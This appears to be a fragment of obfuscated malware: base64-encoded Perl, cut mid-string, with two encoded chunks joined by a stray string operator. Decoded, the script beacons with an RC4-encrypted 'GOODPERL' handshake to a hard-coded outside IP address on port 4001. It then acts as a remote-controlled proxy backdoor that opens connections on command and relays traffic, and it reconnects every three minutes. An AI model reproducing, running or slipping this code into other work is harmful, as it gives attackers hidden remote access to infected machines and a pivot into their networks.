yMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKT